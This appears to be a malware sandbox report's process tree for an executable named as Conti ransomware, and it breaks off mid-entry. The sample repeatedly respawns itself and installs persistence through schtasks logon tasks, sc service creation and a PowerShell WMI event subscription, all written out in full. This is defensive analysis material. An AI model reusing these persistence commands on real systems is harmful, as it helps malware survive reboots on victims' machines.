  C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5988
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4708
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:3396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2328
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      Launches sc.exe
      PID:4544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4376
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5324
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:4888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5616
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      Suspicious use of WriteProcessMemory
      PID:864
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:4132
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5880
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4812
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:5708
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:4664
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5064
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:4392
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:4464
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:4700
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:1012
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:6584
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:6636
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:6904
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:6260
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        Launches sc.exe
        
        PID:6676
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:6680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        7⤵
        
        PID:6960
      - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        6⤵
        
        PID:16628
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:16840
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        8⤵
        
        PID:19768
      - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        6⤵
        
        PID:14068
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:19644
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:8212
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:8280
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:8748
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:8628
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        Launches sc.exe
        
        PID:8496
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:9588
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        7⤵
        
        PID:2860
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:9636
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:5024
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:10992
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:4448
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        
        PID:10168
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:11408
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12892
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:11904
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:12080
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:12760
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:13460
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        
        PID:14688
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:5612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5884
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:3424
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:7912
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:12180
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:16084
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:16284
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:11656
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:18468
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:18752
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:1420
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:4540
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:5464
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:3624
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:3944
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:5780
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4632
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:6952
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:8388
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6200
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:16168
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        Launches sc.exe
        
        PID:8972
      - C:\Windows\system32\cmd.exe
        
